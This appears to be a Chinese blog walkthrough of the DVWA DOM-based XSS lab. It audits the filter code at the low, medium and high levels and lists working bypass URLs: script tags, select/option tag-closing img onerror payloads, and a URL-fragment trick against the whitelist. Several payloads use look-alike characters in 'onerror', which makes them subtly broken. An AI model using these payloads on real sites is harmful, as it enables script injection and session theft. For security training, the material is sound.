DVWA-XSS(DOM)

DOM 型 XSS(DOM-Based Cross-Site Scripting)是跨站脚本攻击的一种特殊类型,与传统的存储型 XSS、反射型 XSS 不同,它完全发生在客户端(浏览器),服务端不会参与恶意代码的解析和返回,而是通过篡改浏览器的 DOM(文档对象模型)结构,执行注入的恶意脚本。

  1. DOM 的作用 :浏览器加载页面后,会将 HTML 解析为 DOM 树,JavaScript 通过操作 DOM 树(如document.getElementByIdlocation.hrefdocument.write等)动态更新页面内容。
  2. 漏洞成因 :当 JavaScript未对用户可控的输入(如 URL 参数、表单值、Cookie)进行过滤 / 转义,直接将其插入到 DOM 树中时,攻击者可构造恶意输入,使浏览器执行注入的脚本。
  3. 核心特征
    • 恶意代码不经过服务端,服务端返回的页面源码中无恶意内容;
    • 攻击仅发生在客户端,抓包无法在请求 / 响应中看到恶意脚本(区别于反射型 / 存储型);
    • 依赖客户端 JavaScript 对 DOM 的动态操作。

low

1、代码审计

复制代码
<?php
没有保护措施,什么都行
# No protections, anything goes

?>

2、构造 URL,弹窗测试

http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=<script>alert('DOM XSS')</script>

medium

1、代码审计

复制代码
<?php

// 检查两个条件:1. GET请求中是否存在名为'default'的参数;2. 该参数的值不为空(null)
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    // 将GET请求中'default'参数的值赋值给变量$default,用于后续校验
    $default = $_GET['default'];
    
    # 注释:禁止包含script标签的输入(服务端的基础XSS过滤)
    // 使用stripos函数(不区分大小写)查找$default中是否包含"<script"字符串
    // stripos返回匹配字符串的起始位置,若未找到则返回false
    if (stripos ($default, "<script") !== false) {
        // 若检测到包含"<script",则重定向到当前页面,且将default参数强制设为"English"
        header ("location: ?default=English");
        // 终止后续代码执行,防止恶意输入被传递到客户端
        exit;
    }
}

?>

禁止了script标签,当检测到<script>标签时,重定向到安全默认值

2、标签闭合绕过

http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=English</option></select><img src=x onerror=alert(1)>

或者

http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=English</option></select><img src=x onerror=alert("xss_dom")>

3、构造option与select双闭合

<select> 标签用于定义下拉菜单,其内部只能包含 <option> 或 <optgroup> 子标签,不能直接包含其他标签(如 <script> 或 <img>)。

浏览器解析时,会严格限定 <select> 标签内的合法子元素,非 <option>/<optgroup> 的标签会被视为无效内容,可能被浏览器自动修正或忽略。

http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=\>/option></select><img src=1 οnerrοr=alert('xss_dom')>

4、构造select单闭合

http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=\</select><img src=1 οnerrοr=alert('xss_dom')>

high

1、代码审计

复制代码
<?php

// 检查两个条件:1. GET请求中是否存在名为'default'的参数;2. 该参数的值不为null(非空)
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # 注释:对允许的语言设置白名单(仅允许指定的几个合法值)
    // 使用switch语句匹配GET请求中'default'参数的值
    switch ($_GET['default']) {
        // 定义合法值白名单:French、English、German、Spanish
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok:若参数值是上述合法值,执行break跳出switch,不做任何拦截
            break;
        // 若参数值不在白名单中(匹配default分支)
        default:
            // 重定向到当前页面,并强制将default参数设为English
            header ("location: ?default=English");
            // 终止后续代码执行,防止非法值传递到客户端
            exit;
    }
}

?>

采用了白名单校验 的方式限制default参数的合法值,是比 Medium 级别更严格的防护手段,从根源上缩小了用户可控输入的范围。

  • 使用#符号来使URL传入内容被截断,URL栏的 # 号之后的内容并不会发送至服务器端
  • 但是js语言中#号并不会被截断,会使得default传入的所有内容都会完整传入。

2、

复制代码
http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=English#<script>alert("xss_dom")</script>
刷新一下

或者

http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=English #</select><img src=0 οnerrοr=alert('xss_dom')>

加入##符号来使URL传入内容被截断就行,low和medium的方法都可以尝试

相关推荐
行走的陀螺仪5 分钟前
Sass 详细指南
前端·css·rust·sass
爱吃土豆的马铃薯ㅤㅤㅤㅤㅤㅤㅤㅤㅤ10 分钟前
React 怎么区分导入的是组件还是函数,或者是对象
前端·react.js·前端框架
LYFlied24 分钟前
【每日算法】LeetCode 136. 只出现一次的数字
前端·算法·leetcode·面试·职场和发展
子春一225 分钟前
Flutter 2025 国际化与本地化工程体系:从多语言支持到文化适配,打造真正全球化的应用
前端·flutter
QT 小鲜肉39 分钟前
【Linux命令大全】001.文件管理之file命令(实操篇)
linux·运维·前端·网络·chrome·笔记
羽沢311 小时前
ECharts 学习
前端·学习·echarts
LYFlied1 小时前
WebAssembly (Wasm) 跨端方案深度解析
前端·职场和发展·wasm·跨端
七月丶1 小时前
实战复盘:我为什么把 TypeScript 写的 CLI 工具用 Rust 重写了一遍?
前端·后端·rust
over6972 小时前
《闭包、RAG与AI面试官:一个前端程序员的奇幻LangChain之旅》
前端·面试·langchain